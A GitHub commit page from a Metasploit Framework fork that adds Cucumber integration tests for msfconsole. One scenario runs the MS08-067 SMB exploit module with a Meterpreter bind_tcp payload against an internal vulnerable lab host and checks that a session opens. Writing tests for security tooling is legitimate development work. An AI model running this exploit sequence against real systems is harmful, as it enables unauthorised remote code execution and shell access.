forked from rapid7/metasploit-framework
-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
working on a first pass at cucumber for framework
- Loading branch information
1 parent
fc65a45
commit c82ba34
Showing
6 changed files
with
67 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,20 @@ | ||
Feature: test msfconsole | ||
|
||
Scenario: This works | ||
When I run `msfconsole` interactively | ||
And I type "help" | ||
And I type "exit" | ||
Then the output should contain: | ||
""" | ||
Commands | ||
""" | ||
|
||
Scenario: stuff | ||
When I run `msfconsole` interactively | ||
And I type "use exploit/windows/smb/ms08_067_netapi" | ||
And I type "set RHOST w2k3sp2-x86-u.vuln.lax.rapid7.com" | ||
And I type "set PAYLOAD windows/meterpreter/bind_tcp" | ||
And I type "run" | ||
And I type "exit" | ||
And I type "exit" | ||
Then the output should match /Meterpreter session \d+ opened/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,11 @@ | ||
require 'aruba/cucumber' | ||
paths = [ | ||
File.expand_path(File.join(File.dirname(__FILE__))), | ||
File.expand_path(File.join(File.dirname(__FILE__), %w(.. ..))), | ||
ENV['PATH'] | ||
] | ||
ENV['PATH'] = paths.join(File::PATH_SEPARATOR) | ||
#"#{File.expand_path(File.join(File.dirname(__FILE__)))}#{File::PATH_SEPARATOR}#{ENV['PATH']}" | ||
Before do | ||
@aruba_timeout_seconds = 60 | ||
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,2 @@ | ||
#!/bin/sh | ||
exit 0 |